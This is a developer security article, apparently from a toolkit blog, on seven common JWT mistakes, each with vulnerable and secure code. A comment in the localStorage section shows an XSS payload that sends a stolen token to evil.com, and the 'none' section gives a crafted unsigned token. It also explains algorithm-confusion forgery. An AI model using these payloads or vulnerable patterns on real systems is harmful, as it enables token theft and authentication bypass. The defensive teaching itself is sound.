Original Research

JWT Usage Patterns: Common Mistakes Developers Make

By Michael Lip · Published April 7, 2026 · Data source: npm registry API, Stack Overflow API · Last updated:

JSON Web Tokens (JWTs) are the de facto standard for stateless authentication in web applications. With 407.8 million monthly npm downloads across the jose and jsonwebtoken packages, and 18,477 Stack Overflow questions, JWTs are both heavily adopted and frequently misunderstood.

The disproportionate ratio of Stack Overflow questions to download volume signals a fundamental problem: JWT is easy to use but hard to use correctly. This article catalogs the most common JWT anti-patterns, explains why they are dangerous, and provides secure alternatives with working code examples.

The JWT Ecosystem in 2026

Before diving into mistakes, here is where the JWT package ecosystem stands today:

Package Monthly Downloads Share Key Characteristics
jose 249.9M 61.3% Full JOSE spec, Web Crypto API, multi-runtime (Node/Deno/Bun/browser)
jsonwebtoken 157.9M 38.7% Node.js focused, callback-based API, depends on jws and jwa
Trend: jose now accounts for 61% of JWT downloads, overtaking jsonwebtoken. This shift reflects the ecosystem's move toward standards-compliant implementations that use native Web Crypto APIs instead of OpenSSL bindings. If you are starting a new project, jose is the recommended choice.

The Seven Most Common JWT Mistakes

Mistake 1: Not Validating the Algorithm

The algorithm confusion attack is the most dangerous JWT vulnerability. It exploits servers that read the alg field from the token header instead of enforcing an expected algorithm.

How it works: If a server uses RS256 (asymmetric), the verification process uses the RSA public key. An attacker modifies the token header to "alg": "HS256" (symmetric) and signs the token using the public key as the HMAC secret. Since the public key is often publicly available, the server unknowingly verifies the forged token using the same public key as an HMAC secret, and the signature matches.

Vulnerable code
// DANGEROUS: Trusting the alg claim from the token const decoded = jwt.verify(token, publicKey); // No algorithm restriction!
Secure code
// SAFE: Explicitly specifying allowed algorithms const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'] // Only accept RS256 }); // With jose (recommended): import { jwtVerify } from 'jose'; const { payload } = await jwtVerify(token, publicKey, { algorithms: ['RS256'] });
Impact: Complete authentication bypass. An attacker can forge tokens for any user without knowing the private key. This vulnerability has been assigned CVE-2015-9235 and affects all JWT libraries that do not enforce algorithm validation.

Mistake 2: No Token Expiration

Tokens without an exp (expiration) claim are valid forever. If a token is leaked, stolen, or intercepted, it provides permanent access to the system.

No expiration
// DANGEROUS: Token never expires const token = jwt.sign({ sub: user.id, role: 'admin' }, secret);
With expiration
// SAFE: Short-lived access token + refresh flow const accessToken = jwt.sign({ sub: user.id, role: 'admin' }, secret, { expiresIn: '15m' // 15-minute access token }); const refreshToken = jwt.sign({ sub: user.id, type: 'refresh' }, refreshSecret, { expiresIn: '7d' // 7-day refresh token }); // With jose: import { SignJWT } from 'jose'; const token = await new SignJWT({ sub: user.id, role: 'admin' }) .setProtectedHeader({ alg: 'HS256' }) .setExpirationTime('15m') .setIssuedAt() .sign(secret);
Best practice: Access tokens: 5-15 minutes. Refresh tokens: 7-30 days. Implement token rotation where each refresh token use issues a new refresh token and invalidates the previous one.

Mistake 3: Storing Sensitive Data in the Payload

JWT payloads are Base64URL-encoded, not encrypted. Anyone with access to the token can decode the payload and read every claim. You can verify this yourself — paste any JWT into KappaKit's JWT Decoder and the payload is instantly readable.

Sensitive data in payload
// DANGEROUS: Readable by anyone who intercepts the token const token = jwt.sign({ sub: user.id, email: 'user@example.com', ssn: '123-45-6789', creditCard: '4111-1111-1111-1111', internalRole: 'super_admin' }, secret);
Minimal payload
// SAFE: Only include identifiers, not sensitive data const token = jwt.sign({ sub: user.id, // Opaque user identifier role: 'user', // Authorization level (non-sensitive) iss: 'api.myapp.com', // Issuer aud: 'myapp.com' // Audience }, secret, { expiresIn: '15m' }); // Look up sensitive data server-side using the sub claim const user = await db.findById(decoded.sub);

If you must transmit confidential data in a token, use JWE (JSON Web Encryption) instead of JWS (JSON Web Signing). The jose library supports both:

// JWE: Encrypted token - payload is not readable without the key import { EncryptJWT } from 'jose'; const token = await new EncryptJWT({ email: 'user@example.com' }) .setProtectedHeader({ alg: 'RSA-OAEP', enc: 'A256GCM' }) .setExpirationTime('15m') .encrypt(publicKey);

Mistake 4: Using Weak Signing Secrets

HMAC-based JWT algorithms (HS256, HS384, HS512) derive their security from the secret key. A short or predictable secret can be brute-forced, allowing an attacker to forge valid tokens.

Weak secrets
// DANGEROUS: These secrets can be brute-forced in seconds const token = jwt.sign(payload, 'secret'); const token = jwt.sign(payload, 'password123'); const token = jwt.sign(payload, 'my-jwt-secret'); const token = jwt.sign(payload, process.env.APP_NAME);
Strong secrets
// SAFE: Generate a cryptographically random 256-bit secret // Run once and store in your secrets manager: // node -e "console.log(require('crypto').randomBytes(32).toString('hex'))" const secret = new TextEncoder().encode(process.env.JWT_SECRET); // JWT_SECRET should be at least 64 hex characters (256 bits) // Or use jose with KeyLike objects: import { generateSecret } from 'jose'; const secret = await generateSecret('HS256');

For HS256, the secret must be at least 256 bits (32 bytes). For RS256, use RSA keys of at least 2048 bits. For ES256, use P-256 (secp256r1) curve keys.

Mistake 5: Storing JWTs in localStorage

localStorage is accessible to any JavaScript running on the page, including third-party scripts and XSS payloads. Storing JWTs in localStorage exposes them to cross-site scripting attacks.

localStorage storage
// DANGEROUS: Any XSS vulnerability exposes the token localStorage.setItem('token', jwt); // An XSS payload can steal it: // fetch('https://evil.com/steal?t=' + localStorage.getItem('token'))
httpOnly cookie storage
// SAFE: httpOnly cookies are inaccessible to JavaScript res.cookie('token', jwt, { httpOnly: true, // Cannot be read by JavaScript secure: true, // HTTPS only sameSite: 'Strict', // Blocks CSRF from cross-origin maxAge: 15 * 60 * 1000, // 15 minutes path: '/' });

httpOnly cookies cannot be accessed by JavaScript. Combined with Secure (HTTPS-only) and SameSite=Strict (blocks cross-origin requests), this provides defense in depth against both XSS and CSRF attacks.

Mistake 6: Not Validating Issuer and Audience

A JWT signed by one service can be replayed against another service if both use the same signing key. Without iss (issuer) and aud (audience) validation, a token meant for your staging environment could be used in production, or a token from a microservice could be replayed against a different one.

No issuer/audience check
// DANGEROUS: Accepts tokens from any issuer const decoded = jwt.verify(token, secret);
With issuer and audience validation
// SAFE: Verify issuer and audience claims const decoded = jwt.verify(token, secret, { algorithms: ['HS256'], issuer: 'api.myapp.com', audience: 'myapp.com' }); // With jose: const { payload } = await jwtVerify(token, secret, { algorithms: ['HS256'], issuer: 'api.myapp.com', audience: 'myapp.com' });

Mistake 7: Using the "none" Algorithm in Production

The JWT specification includes an "alg": "none" option for unsigned tokens. Some JWT libraries accept none by default, allowing attackers to remove the signature entirely and have the token accepted as valid.

Accepting "none" algorithm
// DANGEROUS: Attacker crafts a token with alg: "none" and no signature // eyJhbGciOiJub25lIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwiYWRtaW4iOnRydWV9. const decoded = jwt.decode(token); // decode() doesn't verify!
Enforcing algorithm verification
// SAFE: Always use verify(), never decode(), for authentication const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] // 'none' is not in the list });
Critical distinction: jwt.decode() parses the token without verifying the signature. It should only be used for inspecting token contents (debugging), never for authentication decisions. Always use jwt.verify() with explicit algorithm restrictions for any security-relevant token validation.

JWT Security Checklist

Use this checklist to audit your JWT implementation:

Check Action Risk if Missing
Algorithm enforcement Pass algorithms array to verify() Complete authentication bypass
Token expiration Set exp claim (5-15 min for access tokens) Permanent access from stolen tokens
Payload minimization Only include identifiers, not sensitive data Data leakage from intercepted tokens
Strong secret 256+ bit random secret for HMAC; 2048+ bit RSA keys Token forgery via brute force
Secure storage httpOnly + Secure + SameSite cookies Token theft via XSS
Issuer validation Verify iss claim against expected value Cross-service token replay
Audience validation Verify aud claim against expected value Cross-environment token replay
Reject "none" algorithm Explicitly list allowed algorithms Unsigned token acceptance

jsonwebtoken vs. jose: Migration Guide

If you are still using jsonwebtoken (38.7% of the market), here is how the two libraries compare for common operations:

Operation jsonwebtoken jose
Sign jwt.sign(payload, secret, opts) new SignJWT(payload).setProtectedHeader({alg}).sign(key)
Verify jwt.verify(token, key, opts) jwtVerify(token, key, opts)
Decode (no verify) jwt.decode(token) decodeJwt(token)
Async Callback-based Promise-based (async/await)
Crypto backend Node.js crypto (OpenSSL) Web Crypto API (native)
Runtime support Node.js only Node.js, Deno, Bun, browsers
JWE (encryption) Not supported Full support

To inspect tokens during development and debugging, use KappaKit's JWT Decoder. It runs entirely in your browser and never transmits your token to any server — critical when debugging production tokens that may contain real user data.

Key Takeaways

  1. Always specify allowed algorithms. The algorithm confusion attack is the single most dangerous JWT vulnerability, and it is trivially preventable with one configuration option.
  2. Set short expiration times. 15-minute access tokens with 7-day refresh tokens provide a good balance between security and user experience.
  3. Never store sensitive data in JWT payloads. The payload is Base64URL-encoded, not encrypted. Anyone can read it.
  4. Use httpOnly cookies, not localStorage. httpOnly cookies are immune to XSS attacks; localStorage is not.
  5. Migrate from jsonwebtoken to jose. jose uses native Web Crypto, supports all modern runtimes, and implements the full JOSE specification including encryption.
  6. Validate issuer and audience. These claims prevent cross-service and cross-environment token replay attacks.

Methodology & Sources

Download data: npm registry API (api.npmjs.org/downloads/point/last-month), collected April 7, 2026.

Stack Overflow data: Stack Exchange API v2.3 (api.stackexchange.com/2.3/tags/jwt/info), collected April 7, 2026. The 18,477 figure represents cumulative questions tagged with "jwt" on Stack Overflow.

Vulnerability references: Algorithm confusion (CVE-2015-9235), "none" algorithm bypass (RFC 7518 Section 3.6), and localStorage XSS vectors are well-documented in OWASP JWT Security Cheat Sheet and the Auth0 JWT Handbook.

Code examples: All code samples use the jsonwebtoken (v9.x) and jose (v5.x) APIs current as of April 2026. Test all security-critical code in your specific environment before deploying.

Frequently Asked Questions

What is the most common JWT security mistake?

The most common JWT security mistake is not validating the algorithm (alg) field in the token header. This enables algorithm confusion attacks where an attacker changes alg from RS256 to HS256, causing the server to use the public key as an HMAC secret and bypassing signature verification entirely. Always specify allowed algorithms explicitly.

Should I use jsonwebtoken or jose in 2026?

jose is the recommended choice. It accounts for 61% of JWT downloads (249.9M/month), uses native Web Crypto APIs, supports all modern runtimes (Node.js, Deno, Bun, browsers), and implements the full JOSE specification including JWE encryption. jsonwebtoken is Node.js-only and uses older crypto primitives.

Is it safe to store sensitive data in a JWT payload?

No. JWT payloads are Base64URL-encoded, not encrypted. Anyone with access to the token can decode the payload and read its contents. Never store passwords, credit card numbers, or other sensitive data in JWT claims. Use JWE for encrypted payloads or store sensitive data server-side.

What is a good JWT expiration time?

Access tokens should expire in 5 to 15 minutes. Refresh tokens can last 7 to 30 days but should be stored securely in httpOnly cookies, not localStorage. Short-lived access tokens limit the damage window if a token is compromised.

How do I revoke a JWT token?

JWTs are stateless and cannot be revoked directly. Common strategies include: short expiration times, server-side token blocklists, refresh token rotation (issuing new tokens on each use), and token versioning (incrementing a per-user version counter).

Can I decode a JWT without the secret key?

Yes. The header and payload are Base64URL-encoded, not encrypted. Anyone can decode them. The signature requires the secret key to verify, but reading the contents requires no key. This is why sensitive data should never be stored in JWT claims.

What JWT algorithms should I use?

For symmetric signing, use HS256 with a 256-bit random secret. For asymmetric signing, use RS256 (2048-bit RSA keys) or ES256 (ECDSA P-256) for smaller keys and faster verification. Never use the "none" algorithm in production.

Research by Michael Lip. Published on KappaKit, a free browser-based developer toolkit. For timestamps and timezones, see EpochPilot. For matrix math, see ML3X.

Download Raw Data

Free under CC BY 4.0. Cite this page when sharing.